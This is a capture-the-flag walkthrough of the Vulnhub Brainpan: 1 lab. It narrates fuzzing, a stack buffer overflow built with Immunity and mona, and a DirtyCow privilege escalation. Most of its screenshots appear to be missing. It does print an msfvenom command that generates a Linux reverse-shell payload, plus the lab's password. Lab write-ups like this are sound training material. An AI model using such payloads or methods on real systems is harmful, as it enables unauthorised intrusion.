Vulnhub Brainpan: 1 Walkthrough

Referring to my list of must-do boxes, Brainpan is described as "intermediate" in terms of level of difficulty and I would say that's a fair assessment.  Not because it's significantly harder than the previous boxes, it is not.  It's actually fairly straightforward and easy to root.  However, it requires a couple of skills that you might not possess if you're on the new-ish side of hacking vulnerable boxes.  The two skills required are basic scripting in some language and buffer overflow.

I love buffer overflow.  With other methods of exploitation, there's always this feeling of ambiguity but with buffer overflow, I have a defined path, I follow the path, and it leads to what I want.  

I don't want to talk too much because if ever there was a spoiler, this would be it.

Starting off with an Nmap scan:

We find a couple of open ports, let's check out 9999:

At first, I thought 9999 was a web port but upon viewing the source, I realized it wasn't.

Let's use netcat:

Seems like no matter what I do, I get access denied.  I have some thoughts but I put that on hold.

Let's see what's on 10000:

Let's hit it with Nikto:

Let's check out what we've uncovered:

Putting some pieces together, I'm pretty sure this .exe file is what is listening on 9999.  I download it. 

Let's see what we can learn from strings:

I'll guess and say "shitstorm" is the password.

Let's take our password and pipe it with netcat:

Excellent.  It does nothing for me other than giving me "ACCESS GRANTED".  My hunch at this point is buffer overflow.  

Let's create a simple python script to fuzz this .exe on my Windows box:

Essentially, my script is feeding it 100 A's.  If our .exe accepts that, we're going to add 100 A's until it breaks.  

I get setup in Immunity:

I start fuzzing:

It breaks around 700 bytes.

Let's create a unique string and feed it to the application in order to find the exact location of the crash:

Taking our unique string and adding it to our script:

We execute our script and go back to immunity to find the location of the crash:

We use pattern_offset with EIP to get the exact byte count:

Now we're going to feed the application a list of bad chars in order to identify what we cannot use.  I've already removed the null byte x00:

We're going to follow in dump on ESP to see what's missing:

Looking at the dump, we see that the null byte is the only char we cannot use:

We fire up !mona modules in order to identify a module not using DEP or ASLR:

Verifying we have JMP ESP:

Mind you, I have brainpan.exe on my Windows machine in immunity.  I'm going this route because I can repeatedly crash the .exe and work out my solution prior to launching my attack on the Linux machine.  

I create shellcode for Windows Meterpreter and add it to my script:

I setup my handler:

I execute my script:

Excellent!  We have a shell!  Now we're going to create shellcode for our Linux machine:

msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT=53 -f c -a x86 --platform linux -b "\x00" -e x86/shikata_ga_nai

Adding our shellcode to the script:

Setting up our handler:

Excellent!  We get catch our shell and we identify the OS.  As always, I'm heading for DirtyCow but we don't have SSH access so I'm going to hope I can get to the prompt prior to the system crashing.

Downloading our exploit and executing it:

I get my prompt back prior to the server becoming unstable, I'm able to su to our user, and I'm able to execute the unstable fix.  #rootdance

That was fun!  I sort of breezed through the buffer overflow part because you either know it or you don't.  If you've been playing around with buffer overflow, I think this should give you enough information and this is the box to hone your skills.